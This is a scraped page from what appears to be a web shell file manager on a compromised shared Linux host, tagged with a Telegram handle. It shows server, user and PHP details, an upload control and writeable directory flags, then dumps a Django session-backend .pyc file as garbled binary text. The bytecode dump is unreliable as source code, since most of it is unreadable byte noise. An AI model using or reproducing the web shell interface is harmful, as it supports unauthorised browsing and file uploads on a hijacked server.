https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/contrib/sessions/backends/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/contrib/sessions/backends/__pycache__/base.cpython-310.pyc
o

3�aL6�@s�ddlZddlZddlZddlZddlmZmZddlmZddlm	Z	ddl
mZddlm
Z
ddlmZddlmZmZmZdd	lmZdd
lmZddlmZejejZGdd
�d
e�ZGdd�de�ZGdd�d�Z dS)�N)�datetime�	timedelta)�settings)�SuspiciousSession)�signing)�SuspiciousOperation)�timezone)�constant_time_compare�get_random_string�salted_hmac)�RemovedInDjango40Warning)�
import_string)�LANGUAGE_SESSION_KEYc@�eZdZdZdS)�CreateErrorz�
    Used internally as a consistent exception type to catch from save (see the
    docstring for SessionBase.save() for details).
    N��__name__�
__module__�__qualname__�__doc__�rr�G/usr/lib/python3/dist-packages/django/contrib/sessions/backends/base.pyrsrc@r)�UpdateErrorzF
    Occurs if Django tries to update a session that was deleted.
    Nrrrrrr src@s�eZdZdZdZdZe�Zd\dd�Zdd�Z	d	d
�Z
dd�Zd
d�Ze
dd��Zd\dd�Zefdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Z d5d6�Z!d7d8�Z"d9d:�Z#d;d<�Z$d=d>�Z%e
e$�Z&e
e$e%�Z'd]d@dA�Z(e
e(�Z)dBdC�Z*dDdE�Z+dFdG�Z,dHdI�Z-dJdK�Z.dLdM�Z/dNdO�Z0dPdQ�Z1dRdS�Z2d]dTdU�Z3d\dVdW�Z4dXdY�Z5e6dZd[��Z7dS)^�SessionBasez-
    Base class for all Session classes.
    �
testcookie�workedNcCs"||_d|_d|_ttj�|_dS)NF)�_session_key�accessed�modifiedr
r�SESSION_SERIALIZER�
serializer��self�session_keyrrr�__init__0szSessionBase.__init__cC�
||jvS�N��_session�r"�keyrrr�__contains__6�
zSessionBase.__contains__cCs"|tkrtjdtdd�|j|S)Nz�The user language will no longer be stored in request.session in Django 4.0. Read it from request.COOKIES[settings.LANGUAGE_COOKIE_NAME] instead.�)�
stacklevel)r�warnings�warnrr(r)rrr�__getitem__9s�
zSessionBase.__getitem__cCs||j|<d|_dS�NT�r(r�r"r*�valuerrr�__setitem__Cs

zSessionBase.__setitem__cCs|j|=d|_dSr2r3r)rrr�__delitem__Gs
zSessionBase.__delitem__cCsd|jjS)Nzdjango.contrib.sessions.)�	__class__r�r"rrr�key_saltKszSessionBase.key_saltcCs|j�||�Sr&)r(�get)r"r*�defaultrrrr;OszSessionBase.getcCs:|jp||jv|_||jurdn|f}|jj|g|�R�S)Nr)rr(�_SessionBase__not_given�pop)r"r*r<�argsrrrr>RszSessionBase.popcCs(||jvr
|j|Sd|_||j|<|Sr2r3r4rrr�
setdefaultWs



zSessionBase.setdefaultcCs|j||j<dSr&)�TEST_COOKIE_VALUE�TEST_COOKIE_NAMEr9rrr�set_test_cookie_szSessionBase.set_test_cookiecCs|�|j�|jkSr&)r;rBrAr9rrr�test_cookie_workedbszSessionBase.test_cookie_workedcCs||j=dSr&)rBr9rrr�delete_test_cookieeszSessionBase.delete_test_cookiecCsd|jj}t||���S)Nzdjango.contrib.sessions)r8rr�	hexdigest)r"r5r:rrr�_hashhszSessionBase._hashcCs*tjdkr
|�|�Stj||j|jdd�S)zGReturn the given session dictionary serialized and encoded as a string.�sha1T)�saltr �compress)r�DEFAULT_HASHING_ALGORITHM�_legacy_encoder�dumpsr:r )r"�session_dictrrr�encodems


�zSessionBase.encodecCs�ztj||j|jd�WStjy3z|�|�WYSty2t�d�}|�	d�iYYSwty@|�|�YSw)N)rIr z!django.security.SuspiciousSession�Session data corrupted)
r�loadsr:r �BadSignature�_legacy_decode�	Exception�logging�	getLogger�warning)r"�session_data�loggerrrr�decodews

��zSessionBase.decodecCs4|���|�}|�|�}t�|��d|��d�S)N�:�ascii)r rMrG�base64�	b64encoderOrZ)r"rN�
serialized�hashrrrrL�s
zSessionBase._legacy_encodec
Cs�t�|�d��}z |�dd�\}}|�|�}t|��|�s!td��|���	|�WSt
yQ}zt|t�rEt
�d|jj�}|�t|��iWYd}~Sd}~ww)Nr\r[�rPzdjango.security.%s)r]�	b64decoderO�splitrGr	rZrr rQrT�
isinstancerrUrVr8rrW�str)r"rX�encoded_datar`r_�
expected_hash�erYrrrrS�s

��zSessionBase._legacy_decodecCs|j�|�d|_dSr2)r(�updater)r"�dict_rrrri�s
zSessionBase.updatecCr%r&r'r)rrr�has_key�r,zSessionBase.has_keycC�
|j��Sr&)r(�keysr9rrrrm�r,zSessionBase.keyscCrlr&)r(�valuesr9rrrrn�r,zSessionBase.valuescCrlr&)r(�itemsr9rrrro�r,zSessionBase.itemscCsi|_d|_d|_dSr2)�_session_cacherrr9rrr�clear�s
zSessionBase.clearcCs(z	|jo|jWStyYdSw)zBReturn True when there is no session_key and the session is empty.T)rrp�AttributeErrorr9rrr�is_empty�s
�zSessionBase.is_emptycCs	tdt�}|�|�s
|Sq)z)Return session key that isn't being used.T� )r
�VALID_KEY_CHARS�existsr!rrr�_get_new_session_key�s


�z SessionBase._get_new_session_keycCs|jdur
|��|_|jSr&)rrwr9rrr�_get_or_create_session_key�s

z&SessionBase._get_or_create_session_keycCs|ot|�dkS)z�
        Key must be truthy and at least 8 characters long. 8 characters is an
        arbitrary lower bound for some minimal key security.
        �)�lenr)rrr�_validate_session_key�sz!SessionBase._validate_session_keycCs|jSr&)�_SessionBase__session_keyr9rrr�_get_session_key��zSessionBase._get_session_keycCs|�|�r
||_dSd|_dS)zV
        Validate session key on assignment. Invalid values will set to None.
        N)r{r|�r"r5rrr�_set_session_key�s


zSessionBase._set_session_keyFcCsLd|_z|jWSty%|jdus|ri|_Y|jS|��|_Y|jSw)z�
        Lazily load session from storage (unless "no_load" is True, when only
        an empty dict is stored) and store it in the current instance.
        TN)rrprrr#�load)r"�no_loadrrr�_get_session�s��zSessionBase._get_sessioncCstjSr&)r�SESSION_COOKIE_AGEr9rrr�get_session_cookie_age�r~z"SessionBase.get_session_cookie_agecKs�z|d}Wn
tyt��}Ynwz|d}Wnty(|�d�}Ynw|s/|��St|t�s6|S||}|jd|jS)z�Get the number of seconds until the session expires.

        Optionally, this function accepts `modification` and `expiry` keyword
        arguments specifying the modification and expiry of the session.
        �modification�expiry�_session_expiryi�Q)	�KeyErrorr�nowr;r�rdr�days�seconds)r"�kwargsr�r��deltarrr�get_expiry_age�s ��
zSessionBase.get_expiry_agecKszz|d}Wn
tyt��}Ynwz|d}Wnty(|�d�}Ynwt|t�r0|S|p5|��}|t|d�S)z�Get session the expiry date (as a datetime object).

        Optionally, this function accepts `modification` and `expiry` keyword
        arguments specifying the modification and expiry of the session.
        r�r�r�)r�)r�rr�r;rdrr�r)r"r�r�r�rrr�get_expiry_dates��
zSessionBase.get_expiry_datecCsL|durz|d=WdStyYdSwt|t�r t��|}||d<dS)a*
        Set a custom expiration for the session. ``value`` can be an integer,
        a Python ``datetime`` or ``timedelta`` object or ``None``.

        If ``value`` is an integer, the session will expire after that many
        seconds of inactivity. If set to ``0`` then the session will expire on
        browser close.

        If ``value`` is a ``datetime`` or ``timedelta`` object, the session
        will expire at that specific future time.

        If ``value`` is ``None``, the session uses the global session expiry
        policy.
        Nr�)r�rdrrr�rrrr�
set_expiry$s��
zSessionBase.set_expirycCs"|�d�dur
tjS|�d�dkS)a
        Return ``True`` if the session is set to expire when the browser
        closes, and ``False`` if there's an expiry date. Use
        ``get_expiry_date()`` or ``get_expiry_age()`` to find the actual expiry
        date/age, if there is one.
        r�Nr)r;r�SESSION_EXPIRE_AT_BROWSER_CLOSEr9rrr�get_expire_at_browser_close>sz'SessionBase.get_expire_at_browser_closecCs|��|��d|_dS)zc
        Remove the current session data from the database and regenerate the
        key.
        N)rq�deleterr9rrr�flushIs
zSessionBase.flushcCs0|j}|j}|��||_|r|�|�dSdS)zU
        Create a new session key, while retaining the current session data.
        N)r(r#�createrpr�)r"�datar*rrr�	cycle_keyRs�zSessionBase.cycle_keycC�td��)zF
        Return True if the given session_key already exists.
        z9subclasses of SessionBase must provide an exists() method��NotImplementedErrorr!rrrrv_�zSessionBase.existscCr�)z�
        Create a new session instance. Guaranteed to create a new object with
        a unique key and will have saved the result once (with empty data)
        before the method returns.
        z8subclasses of SessionBase must provide a create() methodr�r9rrrr�e�zSessionBase.createcCr�)z�
        Save the session data. If 'must_create' is True, create a new session
        object (or raise CreateError). Otherwise, only update an existing
        object and don't create one (raise UpdateError if needed).
        z6subclasses of SessionBase must provide a save() methodr�)r"�must_createrrr�savemr�zSessionBase.savecCr�)zx
        Delete the session data under this key. If the key is None, use the
        current session key value.
        z8subclasses of SessionBase must provide a delete() methodr�r!rrrr�uszSessionBase.deletecCr�)z@
        Load the session data and return a dictionary.
        z6subclasses of SessionBase must provide a load() methodr�r9rrrr�|r�zSessionBase.loadcCr�)a
        Remove expired sessions from the session store.

        If this operation isn't possible on a given backend, it should raise
        NotImplementedError. If it isn't necessary, because the backend has
        a built-in expiration mechanism, it should be a no-op.
        z.This backend does not support clear_expired().r�)�clsrrr�
clear_expired�s	zSessionBase.clear_expiredr&)F)8rrrrrBrA�objectr=r$r+r1r6r7�propertyr:r;r>r@rCrDrErGrOrZrLrSrirkrmrnrorqrsrwrxr{r}r�r#rr�r(r�r�r�r�r�r�r�rvr�r�r�r��classmethodr�rrrrr'sj




	

	


r)!r]rU�stringr/rr�django.confr�"django.contrib.sessions.exceptionsr�django.corer�django.core.exceptionsr�django.utilsr�django.utils.cryptor	r
r�django.utils.deprecationr�django.utils.module_loadingr
�django.utils.translationr�ascii_lowercase�digitsrurTrrrrrrr�<module>s$

https://t.me/RX1948 - 2025